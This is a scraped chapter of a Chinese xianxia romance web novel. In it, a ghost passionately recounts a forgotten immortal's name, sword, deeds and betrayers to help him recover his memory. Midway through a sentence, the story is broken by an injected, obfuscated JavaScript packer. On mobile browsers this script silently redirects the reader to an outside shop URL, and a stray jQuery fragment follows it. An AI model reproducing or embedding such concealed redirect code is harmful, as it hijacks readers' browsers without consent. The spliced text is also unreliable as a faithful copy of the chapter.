文趣网 > 都市小说 > 师尊,飞升不是谈恋爱! > 15. 乾坤未定
    见虞清商不说话,江见雪又宽慰道:“算了,其实我们也确实是旧相识,今日便当久别重逢吧。”

    虞清商抬眸看了他一眼,视线顺着他侧脸滑到胳膊,落在了江见雪的手腕上——那里缠绕着一条朱砂手链。

    “那……”他再次开口,“是什么?”

    江见雪顺着他目光看去,这才注意到这手链,这是他当初病重时,他妹妹去庙里求来的,说是能辟邪保平安,没想到竟也随他到了书里。

    “这个啊,”江见雪声音不自觉地柔了下来,“是一个很重要很重要的人,拼了命也想要我平安才求来的。”

    “你瞧,上面还有字呢。”

    江见雪将手腕凑了过去,念:“平安喜乐,福寿康宁。”

    他话音刚落,便觉暖阁冷了一瞬,不过转瞬即逝,他也未曾在意。

    见虞清商对自己感兴趣,江见雪突然想了个法子,既然他不知道自己是谁,那便由他江见雪一字一句告诉他是谁!

    “仙君。”江见雪凑近了些,“伸出手掌。”

    “掌心朝上。”

    虞清商依言照做。

    江见雪托住他的手背,手指落在了对方手心处,落下了一笔短竖。

    “你叫虞、清、商。”

    他手指划动。

    “虞是虎下山。”

    他边写边道,写完‘吴’,便接着写“氵”。

    “清是水映月。”

    他写完最后一笔短横,停顿几息,复又落下一个顿点。

    “商是秋声曲。”

    他说着,写完了最后一笔短横。

    “所以,你叫虞清商,记住了吗?”

    江见雪将自己的手掌放在他的手心上,仿佛魂魄相依,要把这名字刻入对方骨髓。

    虞清商手指微颤,低头看着这一鬼一人,他透过对方的手,第一次看清了自己的指纹,好像年轮。

    “虞、清、商。”他学着江见雪的模样,念道。

    江见雪扬唇一笑,眉眼弯弯,下意识地就把手放在了对方头顶,幸亏他反应快,赶紧收了回来,不然“仙人抚我顶”的故事可就倒反天罡了。

    江见雪不用照镜子都知道自己刚才是什么神情,简直慈母手中线,游子身上衣。

    他心中直呼罪过,甩了甩头,心神振奋,立马有了干劲,显然虞清商对这些都有反应,那便接着来!

    他收回了手,目光锁定虞清商:“仙君,接下来我说的,就是虞清商,也就是您的一切。您且听好——”

    “虞清商,漱玉峰仙尊。诞于东海之滨,出生时九天悬空,先天无情道圣体!北境霜天阙万载寒霜为你开山门,你乃宗主第一关门弟子。”

    “你有一剑,名曰‘清霜’,长三尺七寸,重七斤二两。剑格紫髓石,取自极地寒髓之心!剑出如惊鸿回雪,光寒可映九州!”

    说到这儿,江见雪站起身,虚握空拳,身形飒沓,残魄映出孤高剑影:“其势‘雪拥蓝关’,封尽八荒路!其招‘月满西楼’,孤光自照,肝胆皆冰雪!”

    “你三百岁,金丹大成,独闯魔窟,剑挑十三魔将,救出同门二十三人,血染白袍未退一步!”

    “你五百岁,无情道小成,于昆仑之巅辩法论道,三问三答,天下言——霜天有明月,皎皎绝尘寰!”

    他语调渐急,如金玉铮鸣:“你爱梅!说唯有寒梅傲骨,方配冰雪魂!你煮茶,必取枝头雪,煎云峰老纵,说唯至寒至净之水,才压得住那缕芬芳!”

    “同爱梅的还有你师父,他从未相信过那些流言蜚语,他从未厌你,他常对四方宾朋朗声笑言:‘你乃他霜天阙千百年来,最得意的一笔,是最亮的寒星’!”

    话至此处,江见雪生鲜陡然拔高,裂出金石之痛:“你本该是悬于九霄的明月!该是立在霜天绝顶的雪!”

    “可他们——!!!”

    他挥手指向暖阁之外,指尖破风。

    “那大弟子!你曾于兽口救他性命,他却在你闭关最脆弱时,以缠丝蛊暗算!只因他妒你、慕你,恨你无暇!他要明月蒙尘,拉你共堕泥沼!是他与魔尊里应外合,开了霜天阙的第一道门!”

    “那小黑龙!仙魔大战,你力竭之时,是他从背后偷袭,龙息锁魂,将你掳回暗无天日的深海!困你、磨你,视你为禁脔珍藏!”

    “那魔尊——!”江见雪字字泣血,“他毁你剑,碎你仙骨,将你尊严踩入尘泥,妄图以最肮脏的欲望染指你!”

    江见雪猛然转头,目光死死钉在案几上那只琉璃盏,声音嘶哑:“还有鬼王!”

    “他为你亲手斟满这忘尘酿!”

    “他要你忘!忘来处、忘归途、忘自我、忘掉那些痛与傲、光与尘!他们要让你心甘情愿活在这锦绣地狱,做一尊无知无觉的玉雕!”

    最后一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17937875|213757||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个字砸在空气里,宛如急鼓悬停,琴弦崩裂,四弦一声如裂帛!

    江见雪喘息未定,忽绝指尖发麻,低头看去,竟发现这具残魄竟然淡了。

    魂魄怎么会淡呢?

    正当他茫然之际,虞清商衣袂带风,猛地凑近——轻轻地捧住了他的脸。

    “别哭。”他道。

    哭?

    江见雪懵了,不自觉抚上脸,指尖湿润,仔细一瞧竟是颗晶莹的泪,下一刻便化为轻烟,徒留脸上两道灼痕。

    江见雪此刻更想找个地缝钻进去了,暗恼自己这泪失禁体质,两辈子丢的人都在虞清商面前丢尽了。

    “我——”

    他刚想开口解释,好挽回点稀碎的面子。

    虞清商却突然收回手,整个人向后踉跄跌坐在榻上,捂着脑袋不住地颤抖。

    “虞清商,你怎么了?”

    江见雪见状脸色大变,急忙上前两步。

    “疼……头疼。”

    虞清商气若游丝,用力抠压着太阳穴,大有要将这脑袋卸下来的架势。

    江见雪赶忙伸手,却握了个空。

    虞清商这般反应,他早有预料,可真正发生,他依旧兵荒马乱。

    江见雪先安抚好了自己,长吁一口气,屈膝蹲在虞清商跟前。

    “别怕。”

    他支起身子,伸手覆在对方手背上,指尖轻轻探入那发抖的指缝,再次开口道:“别怕,我在这里。”

    “我知道你现在很疼,不是伤口的那种疼,是这里。”

    他指向对方的心口,又轻轻抚上他的太阳穴,“有什么东西在拼命地挣出来,却又被挡住了,对不对?”

    虞清商抬起眼,下唇血迹斑斑。他眼神聚散不定,好不容易聚集起来,却又像开裂的冰层,跌得粉碎。

    他放下了手,紫眸紧紧盯着眼前的鬼。

    江见雪的目光却落在一旁空荡的棋盘上,扬唇一笑,指着道:“你瞧那棋盘。”

    “都说乾坤未定,你我皆是黑马。可若连棋盘都未曾开局呢?”

    他眼眸发亮,热腾腾地盯着虞清商,一字一句:“那我们便在这无局之地上,亲手覆局,再开新天!”

    “既然这桃花源要让你陪演场太平戏,你我偏不如他的意。”

    他声音渐低,却字字焚心:“不如——就此并肩,将这场荒唐戏文,烧他个干干净净!”